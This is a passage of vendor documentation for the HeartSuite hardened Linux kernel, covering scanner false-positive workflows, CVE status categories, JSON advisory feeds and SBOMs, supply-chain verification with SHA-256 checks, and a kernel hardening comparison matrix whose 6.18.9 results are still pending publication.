  2. Attach the Procurement Brief (posture summary and decision context).
  3. Attach the Auditor Brief (threat model, residual risks, reproduction steps).
  4. Include uname -r output, config-gate grep results, and bundle SHA-256 verification output from Step 1 and Step 4.
  5. If the finding is a verified false positive, record it in your scanner exception register with the transparency page URL and config-gate evidence.

Status categories

HeartSuite CVE assessments use explicit categories. Map scanner severities to these before opening a patch ticket.

StatusMeaningTypical scanner behaviourAuditor action
Not Affected (compiled out)CONFIG_* option not set; vulnerable code is absent from the kernel binaryFlags anyway — compares upstream version onlyMark false positive; attach config-gate grep and transparency link
Neutralized (Score on HeartSuite 0.0)Code may exist upstream, but environmental gates apply (no hardware, no trigger, broken exploit chain, allowlist blocks required tools)Often flags at Base Score severityMark false positive or accepted risk with 0.0 environmental score rationale
Reachable (bounded by Lockdown)Vulnerable code path exists; post-exploitation impact bounded — no new program execution, no persistence across reboot, no allowlist modification under LockdownMay under-state impact if it assumes full root freedomDocument bounded impact; retain in risk register with HeartSuite compensating controls
Fixed in bundleAddressed in a specific HeartSuite kernel/userspace release (backport or rebase)May still flag until scanner rules updatedVerify uname -r and bundle version; apply Updating HeartSuite if behind

The transparency page applies four assessment gates in order: (1) compiled in?, (2) outbound control coverage?, (3) can an exploit program run under Lockdown?, (4) what can root do under Lockdown? See Scanner Guidance on that page for the full gate definitions.


Scanner configuration guidance

HeartSuite is designed to complement vulnerability scanners (Tenable Nessus, Qualys VMDR, Rapid7 InsightVM, Wiz, Greenbone, and similar). Scanners answer “what might be wrong across the fleet”; HeartSuite answers “what can actually be exploited on this kernel configuration, and what happens after exploitation under Lockdown.”

Do not use upstream kernel version rules for the HS kernel

  • Disable or override policies that map linux_kernel package version to generic NVD CPE ranges for hosts where uname -r contains HeartSuite.
  • Do not treat “kernel older than upstream fix version” as proof of exploitability on Root Lock by HeartSuite.
  • Do use the Kernel Security Transparency page as the authoritative CVE status source for HS kernel boots.

Exception process for auditors

Maintain a verified false-positive register aligned with your existing distribution errata exception workflow (RHSA/RLSA on RPM systems, USN on Ubuntu, DSA on Debian, and similar):

FieldExample
CVE IDCVE-2023-2163
Scanner findingCritical — kernel 6.18.9 vulnerable
Host kernel6.18.9-HeartSuite-1.0
HeartSuite statusNot Affected — CONFIG_BPF_SYSCALL not set
Evidencegrep CONFIG_BPF_SYSCALL /boot/config-...n; transparency page BPF section
Reviewer / dateVM team, 2026-06-22
Re-review triggerHeartSuite bundle upgrade or transparency page update

Share this page and the transparency CVE section with scanner vendors when requesting custom CPE or rule packs.

Machine-readable feeds (JSON) and OVAL (roadmap)

HeartSuite publishes JSON advisory feeds under /advisories/:

FeedURLRole
Catalogue/advisories/index.jsonRelease tag (hs-v1.6.4-kernel-6.18.9), gate_status, feed list
CONFIG-gate SBOM/advisories/hs-cve-config-sbom.jsonValidated CONFIG_* not-set claims per CVE group
OSV/advisories/osv.json279 OSV entries (alias of osv/all.json) for config-gated Not-Affected CVEs
CycloneDX SBOM/advisories/sbom.cyclonedx.jsonCoordinated bundle bill of materials

OVAL XML for OpenSCAP is not yet published. Enterprise Linux teams on RPM-based distributions often rely on OVAL definitions (for example, Rocky org.rockylinux.rlsa-9.xml with OpenSCAP; Red Hat and SUSE publish comparable feeds) to reduce false positives. Until HeartSuite OVAL ships:

  • Ingest the JSON feeds above where your platform supports them.
  • Use the manual workflow in this document for HS kernel hosts and CVEs not covered by feeds.
  • Continue using distribution OVAL/errata for maintenance-kernel boots and for non-kernel packages on the same host.

Feed schemas and pipeline detail: Supply Chain and Advisory Feeds.


Distro kernel vs HS kernel

Root Lock by HeartSuite installs two kernels via GRUB: the HeartSuite kernel (enforcement active) and the original maintenance kernel (Non-HS kernel — HeartSuite absent). CVE evaluation depends on which kernel booted.

Boot stateuname -r patternCVE source of truth
HS kernel (Setup Mode or Lockdown)Contains HeartSuiteKernel Security Transparency + config gates
Maintenance kernel (Non-HS)Distribution kernel string (no HeartSuite suffix)Distribution CVE/errata — RHSA/RLSA, dnf updateinfo, Ubuntu USN, Debian DSA, etc.

During maintenance — package installs, HeartSuite bundle updates, immutable-seal removal — the system often runs on the maintenance kernel. In that window:

  • Distribution kernel CVEs and errata apply to the running kernel.
  • HeartSuite transparency status for the HS kernel is not the operative model for the currently running stack.
  • Schedule vulnerability scans accordingly: tag scan results with kernel context (HS vs Non-HS) to avoid mixing evidence.

After reboot back to the HS kernel, re-evaluate kernel CVEs against the transparency page, not the distro errata alone.


False positive examples

These patterns account for the majority of scanner noise on HeartSuite-protected hosts.

Scanner logic: NVD lists CVEs in the BPF verifier, BPF maps, or BPF LSM (for example, CVE-2021-20194, CVE-2023-2163, CVE-2023-39191) as affecting kernel ≤ fixed upstream version. Scanner sees 6.18.9-HeartSuite and reports Critical/High.

HeartSuite reality: CONFIG_BPF_SYSCALL is not compiled into the Root Lock by HeartSuite kernel. The bpf() syscall returns ENOSYS. There is no verifier, no program store, and no reachable path — status Not Affected for the entire BPF syscall interface group.

Proof:

$ grep CONFIG_BPF_SYSCALL /boot/config-$(uname -r)
# CONFIG_BPF_SYSCALL is not set

Scanner logic: Flags CVEs in the FUSE filesystem layer (for example, CVE-2023-52504, CVE-2024-41090) based on upstream version.

HeartSuite reality: CONFIG_FUSE_FS is not compiled in. FUSE-based path confusion and mount bypass primitives are unavailable — status Not Affected for the FUSE filesystem group.

Proof:

$ grep CONFIG_FUSE_FS /boot/config-$(uname -r)
# CONFIG_FUSE_FS is not set

The general pattern

Scanner assumptionHeartSuite counter-check
Version string ⇒ same code as upstreamRead CONFIG_* gate on transparency page
High Base Score ⇒ high risk on hostRead Score on HeartSuite (environmental CVSS)
Root compromise ⇒ full persistenceUnder Lockdown, read Reachable entries for bounded impact

Any CVE listed under a config gate section on the transparency page follows the same pattern: if the gate is off, version-based findings are false positives until proven otherwise on the running config.


RHSA / OVAL analogy for enterprise Linux teams

If you manage enterprise Linux — whether Rocky/RHEL (RHSA, OVAL) or Ubuntu/Debian (USN, DSA) — you already verify CVEs with artefacts beyond NVD. On RHEL-family systems, the mapping looks like this:

RHEL / Rocky Linux artefactRoleHeartSuite equivalent
RHSA / RLSA advisoryPublished fix boundary with CVE listNo RHSA-style numbering — use transparency page entry + release tag (for example, hs-v1.6.4-kernel-6.18.9)
RPM changelog (rpm -q --changelog)Proof fix is in installed NVRBundle SHA-256 manifest + uname -r; kernel .config SHA-256 in Auditor Brief
dnf updateinfo --cveAdvisory metadataManual lookup on Kernel Security Transparency; distro updateinfo only on maintenance kernel
OVAL / OpenSCAPAutomated false-positive reductionNot yet published for HeartSuite; ingest published OSV and CONFIG SBOM feeds, or use manual workflow in this guide
Red Hat CVE pages (platform applicability)Product-specific “not affected”Per-CVE rationale and config gates on transparency page

HeartSuite does not publish RHSA-equivalent errata. The combination of CVE transparency + bundle changelog/release notes + config SHA-256 is the intended audit trail. For procurement language mapping RHEL expectations to HeartSuite deliverables, see the Enterprise Adoption Guide and Kernel Support Policy.


Audit evidence package checklist

Attach the following to RFP responses, due-diligence questionnaires, and auditor workpapers for kernel CVE posture on Root Lock by HeartSuite:

  • Host context: uname -r, Lockdown state (Dashboard indicator or status.json), scan date
  • Kernel line: HS kernel (transparency page) vs maintenance kernel (distro errata) — explicit label
  • Procurement Brief — comparison table and buyer decision guide
  • Auditor Brief — threat model, measured scores, residual risks, reproduction commands
  • Kernel Security Transparency exports — one section per disputed or sampled CVE
  • Config-gate evidencegrep CONFIG_* /boot/config-$(uname -r) output for compiled-out findings
  • Bundle integritysha256sum -c heartsuite-install.sh.sha256 output (or subscription delivery record)
  • Config hash matchsha256sum of /boot/config-$(uname -r) compared to published hash for that release
  • False-positive register — scanner exception rows with transparency links (if applicable)
  • Maintenance records — dates when Non-HS kernel was used; distro patches applied during those windows (Updating HeartSuite, Protecting During Maintenance)
  • Compensating controls — Lockdown allowlist policy, SIEM/syslog integration (Alert Settings)

Nothing in this package requires trusting opaque vendor claims for measured posture: config hashes and checker outputs are reproducible on the customer side.



This page is intentionally scanner- and auditor-facing. All verification steps reference publicly reproducible artefacts or the open CVE transparency data. Last updated: 2026-06-22.

15.6 - Supply Chain and Advisory Feeds

HeartSuite HS kernel supply-chain artefacts — SHA-256 bundle integrity, bundle manifest fields, reproducible config hashes, published machine-readable advisory feeds (CONFIG-gate SBOM, OSV, CycloneDX), and roadmap for GPG/cosign signing and OVAL.

Overview: What supply-chain artefacts HeartSuite publishes today (SHA-256 bundle integrity, CONFIG-gate SBOM, OSV, CycloneDX) and what remains on the roadmap (GPG/cosign signing, OVAL).

Audience: Procurement, vendor risk, GRC, and platform security teams mapping HeartSuite deliverables to supply-chain questionnaires, SOC 2 / ISO evidence requests, and enterprise Linux vulnerability-management programs.

Related reading: Kernel Support Policy, Enterprise Adoption Guide, CVE Hygiene for Scanners, Evidence Status, Auditor Brief, Updating HeartSuite.


What this page covers

This page states what HeartSuite publishes today for HS kernel supply-chain verification and what is on the roadmap — without overstating availability.

It is the single reference for:

  • Bundle integrity — SHA-256 checksums now; GPG and cosign signing planned.
  • Bundle manifests — version identifiers, addressed CVE list, and checksum references shipped with coordinated releases.
  • Reproducible configuration evidence — published .config SHA-256 per supported HS kernel stream.
  • Machine-readable advisories — Published JSON feeds under /advisories/ (catalogue: hs-advisory-catalog/v1). For the current release (hs-v1.6.4-kernel-6.18.9, gate_status: PASS): CONFIG-gate Not-Affected SBOM, OSV (279 entries at /advisories/osv.json), and CycloneDX bundle SBOM. OVAL XML for OpenSCAP remains on the roadmap.
  • SBOM — CycloneDX bundle SBOM published at /advisories/sbom.cyclonedx.json; SPDX dual-format support will be stated at GA.

For patch targets, notification channels, and support boundaries, see the Kernel Support Policy. For fleet deployment and buyer-facing limitations, see the Enterprise Adoption Guide.


Summary: today versus roadmap

ArtefactTodayRoadmap status
Installer bundle checksumPublished heartsuite-install.sh.sha256 (SHA-256)GPG-signed checksum manifest; cosign signature on bundle (target: general availability — no date committed)
Bundle manifestVersion IDs, CVE list addressed in build, checksum referenceSame fields, plus signing key IDs and SBOM reference when SBOM ships
Kernel .config hashSHA-256 published per stream on this site and in evidence packsContinues per stream; referenced from published advisory feeds
CONFIG-gate SBOM (JSON)Published at /advisories/hs-cve-config-sbom.json on each hs-v* release (schema hs-cve-config-sbom/v1)Updated with coordinated bundles; gated by CVE↔CONFIG crosswalk in CI
OSV (HS kernel)Published at /advisories/osv.json (279 entries; alias of osv/all.json) for hs-v1.6.4-kernel-6.18.9Encodes config-gate and transparency-page reachability
OVAL (HS kernel)Not publishedPlanned OpenSCAP definitions; use OSV/CONFIG SBOM and CVE Hygiene for Scanners until OVAL ships
SBOM (CycloneDX)Published at /advisories/sbom.cyclonedx.json for hs-v1.6.4-kernel-6.18.9SPDX dual-format at GA if offered
RHSA-style errata IDsNot offeredNot planned — advisories remain bundle- and transparency-page-centric
HS kernel source (GPL)On written request via support@heartsecsuite.comPublic kernel source repository not offered at this time

HeartSuite does not commit to delivery dates for roadmap items on this page. When an artefact reaches general availability, this page and the Kernel Support Policy will be updated and customers will be notified through subscription email and release notes.


What you can verify today

Installer and bundle integrity (SHA-256)

Coordinated HeartSuite updates ship as a self-extracting heartsuite-install.sh bundle. Each distribution includes a companion heartsuite-install.sh.sha256 file.

Before execution, verify integrity:

sha256sum -c heartsuite-install.sh.sha256

Expected output: heartsuite-install.sh: OK

This is the only generally available cryptographic integrity check for bundles today. It confirms the file you received matches the checksum HeartSuite published for that release. It does not by itself prove publisher identity — that is why GPG and cosign are on the roadmap (see below).

Full install procedure and maintenance-window context: Updating HeartSuite.

Reproducible kernel configuration (SHA-256 per stream)

Every released HS kernel stream publishes the SHA-256 hash of the exact kernel .config used for that build. This hash is the anchor for independent hardening verification:

  • Compare the published hash to the config on a running system: sha256sum /boot/config-$(uname -r)
  • Re-run the open-source kernel-hardening-checker against that config to reproduce attack-surface and exploit-resistance scores (commands in the Auditor Brief)
  • Cross-check stream-specific raw output in evidence-pack-*.txt artefacts referenced from the comparison and auditor pages

Config hashes are per stream (for example, 6.18 primary LTS and legacy 5.19), not a single global value. Publication status per stream is tracked in Evidence Status.

This model is intentionally reproducible on the customer side — auditors do not need to trust opaque scoring claims if they verify the hash and re-run the checker.

Kernel Security Transparency (CVE rationale)

Per-CVE status, config gates, and Score on HeartSuite are published on the Kernel Security Transparency page. This is the authoritative human-readable advisory layer for the HS kernel.

Machine-readable mirrors:

FeedURLFormat
Catalogue/advisories/index.jsonhs-advisory-catalog/v1 — release tag, feed list, publication flags
CONFIG-gate SBOM/advisories/hs-cve-config-sbom.jsonhs-cve-config-sbom/v1 — validated CONFIG_* not-set claims per CVE group
OSV/advisories/osv.jsonOSV — 279 entries for hs-v1.6.4-kernel-6.18.9 (alias of osv/all.json)
CycloneDX SBOM/advisories/sbom.cyclonedx.jsonCycloneDX-1.5 coordinated bundle SBOM

Feeds are published on this documentation site when HeartSuite cuts an annotated hs-v* kernel release. Publication is automated from HeartSuite’s internal release pipeline; customers do not need access to private build repositories to consume the feeds.

HS kernel source code (GPL)

HeartSuite distributes the HS kernel as binaries in the coordinated heartsuite-install.sh bundle. Portions of the HS kernel are subject to the GNU General Public License.

HeartSuite does not maintain a public kernel source repository at this time. Corresponding source code for the HS kernel build you are running is available on written request under GPL obligations.

Email support@heartsecsuite.com and include:

  • Output of uname -r (for example, 6.18.9-HeartSuite-1.0)
  • HeartSuite product version (for example, v1.6.4)
  • Release tag or heartsuite-install.sh.sha256 reference if known

HeartSuite will provide source matching that build. Independent verification of kernel configuration does not require source access — use the published .config SHA-256 and reproduction steps in the Auditor Brief.

Subscription notification

Security advisories, bundle availability, and stream-deprecation notices go to contacts registered on the subscription (email), supplemented by release notes on this site. See Customer notification in the Kernel Support Policy.


Bundle manifest

Each coordinated release is accompanied by a bundle manifest (shipped with the bundle or referenced in release documentation). Manifests are the release-level changelog for procurement and vulnerability-management traceability.

Published fields (today)

FieldPurposeExample / notes
HeartSuite product versionIdentifies the coordinated stack releaseFor example, HeartSuite v1.6.4
HS kernel version stringRunning kernel identity after installFor example, 6.18.9-HeartSuite-1.0 — see version-string anatomy
StreamSupported LTS line6.18 (primary) or 5.19 (legacy)
Bundle checksumSHA-256 of heartsuite-install.shMust match heartsuite-install.sh.sha256
Config SHA-256Hash of the kernel .config for this buildLinks reproducible verification to this release
CVE list addressedCVE identifiers remediated or reclassified in this bundleNot an exhaustive fleet CVE report — only items changed in this build
Release datePublication date of the bundleFor change-control and audit timelines
Distribution targetsValidated distro families for this bundleSee Distro Compatibility Matrix

Manifests do not replace the Kernel Security Transparency page for reachability analysis. A CVE omitted from the “addressed” list may still be Not Affected on HS kernels because the vulnerable subsystem was never compiled in.

Planned manifest extensions

When signing and SBOM artefacts ship, manifests will add non-breaking references:

  • GPG key fingerprint and signature file location
  • Cosign bundle signature digest (OCI/sigstore-style provenance)
  • SBOM document URI and format (SPDX or CycloneDX)

Existing SHA-256 verification remains valid for customers who have not yet adopted the new artefacts.


Roadmap: GPG and cosign signed bundles

Today: Integrity is SHA-256 only — detect accidental corruption or tampering in transit if you verify against the published checksum before execution.

Planned:

MechanismIntended role
GPG signaturesProve the checksum manifest and release metadata were issued by HeartSuite’s signing key; support gpg --verify in install pipelines
Cosign (or equivalent OCI signing)Attach signatures to bundle artefacts for CI/CD and image pipelines that already consume sigstore-compatible provenance

What HeartSuite is not claiming yet:

  • No published GPG public key or cosign policy on this site today.
  • No requirement that customers use signing before install — SHA-256 verification remains the baseline until signing is generally available.
  • Signing addresses publisher authenticity and pipeline integration; it does not change the HS kernel’s CVE reachability model or Lockdown semantics.

Teams with mandatory code-signing policies should treat SHA-256 + config-hash verification as the current interim control and engage HeartSuite support for questionnaire language until GPG/cosign GA.


Published advisory feeds (HS kernel)

Enterprise Linux teams often use OVAL definitions with OpenSCAP, or OSV entries in broader SCA tooling, to reduce false positives from raw NVD version matching.

Published today (JSON under /advisories/, absolute base https://docs.heartsecsuite.com/advisories/):

For release tag hs-v1.6.4-kernel-6.18.9 (gate_status: PASS in the catalogue):

  • index.json — Feed catalogue (hs-advisory-catalog/v1) with release tag, HeartSuite version, kernel base, and per-feed published flags.
  • hs-cve-config-sbom.json — CONFIG-gate Not-Affected manifest (hs-cve-config-sbom/v1) produced by the CVE↔CONFIG crosswalk gate in Core Secure CI.
  • osv.json — 279 OSV entries derived from the CONFIG SBOM and transparency page (alias of osv/all.json).
  • sbom.cyclonedx.json — CycloneDX bill of materials for the coordinated bundle.

Not yet published: OVAL XML for OpenSCAP. Teams that require OVAL today should ingest the published CONFIG SBOM and OSV feeds, plus the manual workflow in CVE Hygiene for Scanners.

Scanners that compare uname -r to upstream “fixed in” versions will still generate noise on HS kernel boots until your toolchain consumes these feeds or the manual hygiene workflow.

What the feeds encode

The feeds encode logic that version strings alone cannot express:

Data elementPurpose
Product / stream scopeDistinguish HS kernel (HeartSuite in uname -r) from distribution maintenance-kernel boots on the same host
Config gatesMap CVEs to CONFIG_* options — Not Affected when subsystem is compiled out
Score on HeartSuiteEnvironmental applicability (including 0.0 neutralisation)
Reachable / boundedFlag CVEs where code path exists and Lockdown bounds post-exploitation
Fixed-in-bundle boundariesTie remediation to HeartSuite build release and bundle manifest CVE list
Config SHA-256 referenceAnchor feed evaluations to the published .config hash for the stream

The feeds do not replicate RHSA numbering or distribution errata semantics. HeartSuite remediation is expressed through coordinated bundles and transparency documentation, not per-CVE RPM errata on the HS binary.

Automation workflow

  1. Pull the catalogue: curl -fsS https://docs.heartsecsuite.com/advisories/index.json
  2. Ingest hs-cve-config-sbom.json and osv.json into your vulnerability-management platform.
  3. For CVEs not covered by machine-readable entries, use CVE Hygiene for Scanners:
    • Confirm boot context (HeartSuite in uname -r vs maintenance kernel).
    • Look up the CVE on Kernel Security Transparency.
    • Verify config gates with grep CONFIG_* /boot/config-$(uname -r).
    • Record false positives in your scanner exception register with transparency links.

Continue using distribution OVAL/errata for Non-HS kernel maintenance windows and for non-kernel packages.

OVAL XML general availability will be announced in release notes when ready.


SBOM (CycloneDX published; SPDX at GA)

Published: CycloneDX bundle SBOM at /advisories/sbom.cyclonedx.json for hs-v1.6.4-kernel-6.18.9 (published: true on the cyclonedx-sbom entry in /advisories/index.json).

Scope (CycloneDX generator):

  • Coordinated bundle contents — HS kernel binary, userspace daemon/Dashboard/tools, and installer dependencies relevant to the enforcement stack.
  • Linkage: Bundle manifest references the SBOM URL; catalogue records release tag and HeartSuite version.

Roadmap: SPDX and/or dual SPDX+CycloneDX support will be stated at GA if offered.

Complementary artefacts (always available):

  • Published kernel .config SHA-256 and evidence-pack-*.txt for reproducible hardening measurement (5.19.6 published; 6.18.9 in progress — see Evidence Status)
  • CONFIG-gate SBOM at /advisories/hs-cve-config-sbom.json
  • Bundle SHA-256 manifests
  • CVE transparency and bundle manifest CVE lists

SBOM publication improves dependency inventory and procurement automation; it does not replace config-gate CVE analysis for the HS kernel.


Mapping to common procurement questions

QuestionHonest answerPrimary reference
How do we verify the installer was not corrupted?sha256sum -c heartsuite-install.sh.sha256 before executionThis page; Updating HeartSuite
How do we prove signing authority?Not yet — GPG/cosign roadmapRoadmap section above
How do we automate CVE false-positive reduction for the HS kernel?Ingest published /advisories/hs-cve-config-sbom.json and /advisories/osv.json (279 entries); manual workflow for gapsCVE Hygiene for Scanners
Where is the SBOM?CycloneDX at /advisories/sbom.cyclonedx.jsonThis page
What identifies a release for audit?Bundle manifest + uname -r + config SHA-256Kernel Support Policy
Do you publish RHSA-style errata?NoKernel Support Policy

What HeartSuite does not provide (supply-chain scope)

To set expectations for RFPs and vendor-risk assessments:

CapabilityStatus
GPG-signed bundles (GA)Roadmap — SHA-256 only today
Cosign / sigstore bundle signatures (GA)Roadmap
OVAL definitions for HS kernel (GA)Planned — not published
OSV entries for HS kernelPublished at /advisories/osv.json — 279 entries for hs-v1.6.4-kernel-6.18.9
CONFIG-gate Not-Affected SBOMPublished at /advisories/hs-cve-config-sbom.json on hs-v* releases
CycloneDX SBOM on docs sitePublished at /advisories/sbom.cyclonedx.json for hs-v1.6.4-kernel-6.18.9
SPDX SBOM (GA)Roadmap — CycloneDX is the published machine-readable format today
RHSA-equivalent advisory numberingNot planned
kpatch/live-patch provenanceNot applicable — live patching not offered on HS kernel

If a control framework requires GA OVAL feeds or GPG/cosign signing before production approval, plan for the interim artefacts in this document and document compensating controls (published JSON feeds, manual CVE hygiene, config-hash verification, bundle manifest retention) until roadmap items ship.



This page is procurement- and GRC-facing. Availability statements reflect public deliverables as of the last-updated date; roadmap items have no committed GA dates unless separately agreed in writing. Last updated: 2026-06-23.

15.7 - Kernel Evidence Status

Publication status of HS kernel hardening evidence — 5.19.6 legacy stream (published) and 6.18.9 primary commercial baseline (in progress).

Subject: Root Lock by HeartSuite HS kernel evidence parity
Commercial baseline: HeartSuite v1.6.4 — kernel 6.18.9 (6.18.9-HeartSuite-1.0)
Legacy stream: kernel 5.19.6 (maintenance-only; see Kernel Support Policy)


Summary

StreamRoleConfig SHA-256Evidence packComparison matrixChecker runRuntime verification
6.18.9Primary LTS / new deploymentsPending publicationIn progressStructure publishedPending publicationPending publication
5.19.6Legacy / existing fleetsPublishedPublishedPublished2026-05-19 (b9b83a0)2026-05-19 (Debian 12 VM)

HeartSuite ships two HS kernel lines with the same Root Lock enforcement contract. New subscriptions and fleet images should standardize on 6.18. Public hardening evidence for that stream is being brought to parity with the 5.19.6 publication; until then, procurement and audit teams should treat 5.19.6 measurements as illustrative of design philosophy, not as a score-for-score substitute for 6.18.9.


What is published today (5.19.6)

The following artifacts are complete and independently reproducible:

  • Config identity — SHA-256 for config-5.19.6-HeartSuite-1.0 and config-5.19.6-HeartSuite-2.0 in evidence-pack-5.19.6.txt
  • Automated scoreskernel-hardening-checker commit b9b83a0, era-matched comparison against Arch linux-hardened 5.19.11 and vanilla defconfig, in kernel-comparison-matrix-5.19.6.md
  • Runtime posture — module inventory, SELinux permissive state, HeartSuite enforcement trace, bypass-primitive grep results (sections 2–5 of the evidence pack)
  • Buyer and auditor summariesProcurement Brief and Auditor Brief (detailed measured sections currently reference 5.19.6 data)

What is in progress (6.18.9)

The 6.18 LTS port closed known gaps documented for 5.19.6 — notably CONFIG_IO_URING and CONFIG_KEXEC are disabled in the 6.18.x HS config (design intent recorded in the deviation registry). Public publication still requires:

  1. Canonical config SHA-256 for config-6.18.9-HeartSuite-1.0 (and any subsequent bundle revision)
  2. evidence-pack-6.18.9.txt — raw checker output, per-category scores, bypass-primitive verification, module inventory, runtime LSM state
  3. Era-matched comparison — HS 6.18.9 vs Arch linux-hardened (or equivalent) on the same 6.18.x Kconfig namespace
  4. Runtime verificationuname -r, /boot/config-* hash match, lsmod, SELinux state, HeartSuite activation in dmesg on a representative validated distribution

The Kernel Hardening Comparison Matrix (6.18.9) page mirrors the 5.19.6 structure. Sections that depend on measured output are marked Pending publication — engage support for pre-release evidence until the artifacts above are released.


Evidence parity roadmap

MilestoneTarget contentStatus
Structure parity6.18.9 comparison matrix page layout matching 5.19.6Done (this docs release)
Config publicationSHA-256 + path for config-6.18.9-HeartSuite-1.0Pending
Checker publicationFull kernel-hardening-checker run on HS 6.18.9 + era-matched referencesPending
Runtime packVM or gate-validated runtime section (modules, LSM, enforcement)Pending
Brief refreshProcurement and Auditor briefs updated with 6.18.9 measured tablesPending (intros dual-stream; body follows evidence)
Legacy sunset comms5.19 stream deprecation timeline in Kernel Support PolicyPublished (policy); evidence remains for audit history

For procurement and audit teams

Evaluating a 6.18.9 deployment today

  • Use Distro Compatibility Matrix and Kernel Support Policy for support boundaries, version strings, and patch targets.
  • Use CVE Hygiene for Scanners for vulnerability-management workflows — do not infer HS reachability from upstream 6.18.9 alone.
  • For hardening scores comparable to the 5.19.6 publication, request pre-release evidence through your HeartSuite support channel. Reference HeartSuite v1.6.4 / tag hs-v1.6.4-kernel-6.18.9 and the expected version string 6.18.9-HeartSuite-1.0.

Evaluating a 5.19.6 legacy fleet

  • Full public evidence remains authoritative for that stream. Plan migration to 6.18 per the support policy; do not extend 5.19.6 checker scores to 6.18.9 without the published 6.18 pack.

Reproducing 5.19.6 measurements now

See Auditor Brief for kernel-hardening-checker commands and expected SHA-256.


15.8 - Kernel Hardening Comparison Matrix (6.18.9)

Comparison matrix structure for Root Lock by HeartSuite kernel 6.18.9 (HeartSuite v1.6.4 commercial baseline). Measured checker scores and config SHA-256 pending publication.

Subject: Root Lock by HeartSuite, kernel 6.18.9 (HeartSuite v1.6.4 commercial baseline)
Expected version string: 6.18.9-HeartSuite-1.0
Config SHA-256: Pending publication — engage support for pre-release evidence
Tool: kernel-hardening-checker — commit and run date pending publication
Source file: evidence-pack-6.18.9.txt (not yet published; see Evidence Status)
Legacy reference (published): Kernel Hardening Comparison Matrix (5.19.6), evidence-pack-5.19.6.txt

Publication note: This page mirrors the structure of the 5.19.6 matrix so procurement and audit teams know what evidence to expect. Numeric scores, config hashes, and runtime measurements for 6.18.9 are in progress. Sections marked Pending publication will be replaced with measured values when evidence-pack-6.18.9.txt ships.


Part 1 — Measured comparison (same kernel era)

All configs in this section must be built from the 6.18.x kernel tree for scores to be directly comparable — same Kconfig namespace, same option universe as the HS 6.18.9 commercial baseline.

ConfigSourceKernelOverallAttack-surfaceExploit-resistance
HS 6.18.9HS canonical config6.18.9Pending publication — engage support for pre-release evidencePending publicationPending publication
Arch linux-hardened (era-matched)Arch packaging @ 6.18.x tag6.18.xPending publicationPending publicationPending publication
Vanilla x86_64 defconfig (checker bundle)Bundled in kernel-hardening-checker6.18.xPending publicationPending publicationPending publication

Reading the table

  • Attack-surface measures how many dangerous kernel features are disabled. Higher = more things turned off.
  • Exploit-resistance measures how many defensive mitigations against memory bugs are enabled. Higher = harder to exploit.
  • These two axes are largely independent and optimized for different threat models.
  • Do not compare 5.19.6 published scores to 6.18.9 placeholders — kernel generations use different Kconfig option sets and checker item counts.

What this will show (when published)

Based on HS design intent and the published 5.19.6 analysis, the 6.18.9 era-matched run is expected to demonstrate:

  • Continued attack-surface leadership on bypass-primitive disables (BPF_SYSCALL, FUSE_FS, OVERLAY_FS, alt-LSMs, USER_NS, and related subsystems).
  • Improved bypass coverage vs 5.19.6CONFIG_IO_URING and CONFIG_KEXEC are disabled in the 6.18.x HS config (both remained enabled in 5.19.6; see evidence-pack-5.19.6.txt section 3).
  • Exploit-resistance likely remains near the vanilla upstream baseline for the 6.18 line unless a future release explicitly adopts additional KSPP-style mitigations — to be confirmed by measured checker output.

Pending publication — engage support for pre-release evidence.

Bypass-primitive disables — side by side

OptionHS 6.18.9 (design / pending verify)HS 5.19.6 (published)Notes
CONFIG_BPF_SYSCALL=n (expected)=nBPF LSM can override MAC decisions
CONFIG_IO_URING=n (expected)=yio_uring bypasses VFS hooks via fget()closed in 6.18.x
CONFIG_FUSE_FS=n (expected)=nFUSE allows path-confusion attacks
CONFIG_OVERLAY_FS=n (expected)=nOverlay d_path() breaks sandbox lookup
CONFIG_SECURITY_APPARMOR=n (expected)=nRedundant LSM adds attack surface
CONFIG_SECURITY_TOMOYO=n (expected)=nSame rationale as AppArmor
CONFIG_KEXEC=n (expected)=ykexec destroys Lockdown state — closed in 6.18.x
CONFIG_MODULE_SIG=n (expected)=nUnsigned modules can unload HeartSuite

Checker-verified 6.18.9 column values and Arch linux-hardened 6.18.x reference column: Pending publication — engage support for pre-release evidence.

Exploit-resistance mitigations — side by side

MitigationHS 6.18.9Arch lh 6.18.x (era-matched)
INIT_ON_ALLOC_DEFAULT_ONPending publicationPending publication
INIT_ON_FREE_DEFAULT_ONPending publicationPending publication
HARDENED_USERCOPYPending publicationPending publication
FORTIFY_SOURCEPending publicationPending publication
SLAB_FREELIST_RANDOMPending publicationPending publication
KFENCEPending publicationPending publication
RANDSTRUCT_FULLPending publicationPending publication
KSTACK_ERASEPending publicationPending publication
MODULE_SIG / MODULE_SIG_FORCEPending publicationPending publication

Part 2 — Qualitative orientation (cross-project)

These projects were not scored with the checker in the pending 6.18.9 analysis pass — either because their configs were unavailable for automated download, because they are paywalled, or because a meaningful era-matched config was not yet selected. Characterizations follow each project’s public documentation and design goals. HS 6.18.9 row incorporates known port deltas vs 5.19.6; checker-backed claims await publication.

ProjectBypass PreventionExploit ResistanceModule FootprintAvailabilityPrimary Use Case
HeartSuite 6.18.9Very High — same bypass-removal philosophy as 5.19.6; IO_URING and KEXEC disabled (port improvement)Low–Moderate (expected) — pending measured confirmationMinimal loadable module set (expected; pending runtime count)CommercialContainment of untrusted code on dedicated appliance
HeartSuite 5.19.6Very High — BPF/FUSE/OVERLAY/AppArmor/TOMOYO/USER_NS disabled; IO_URING/KEXEC gapsLow — vanilla upstream baseline (measured)~9 modules (measured)Commercial (legacy stream)Same; maintenance-only per Kernel Support Policy
Arch linux-hardened 6.18.xModerate — keeps BPF, FUSE, AppArmor, USER_NS for general-purpose useHigh — HARDENED_USERCOPY, FORTIFY, INIT_ON_ALLOC, SLAB_FREELISTHundredsFree, open-sourceGeneral-purpose hardened desktop/server
grsecurity / PaXHighVery High — RBAC + PaX heap/stack protectionsLargePaid subscriptionMaximum exploit resistance; enterprise
CLIP OS (ANSSI)High — minimal modules + BPF disabledHigh — KSPP-style mitigations~400Public (archived)Government/high-security Linux platform
KSPP recommended x86-64High (intent)Very High (intent)N/A (reference config)PublicIndustry benchmark for exploit-resistance options

Notes on the qualitative table:

  • “Bypass Prevention” = removal of subsystems that can circumvent MAC/LSM enforcement.
  • “Exploit Resistance” = mitigations against kernel memory bugs (heap, stack, pointer corruption).
  • Only HeartSuite 5.19.6 scores in this section are fully checker-backed today. HeartSuite 6.18.9 qualitative row will be reconciled against measured output when the evidence pack publishes.

Part 3 — LSM stack and module count (measured)

MetricHS 6.18.9Source
Modules loaded at runtimePending publication — engage support for pre-release evidenceRuntime measurement
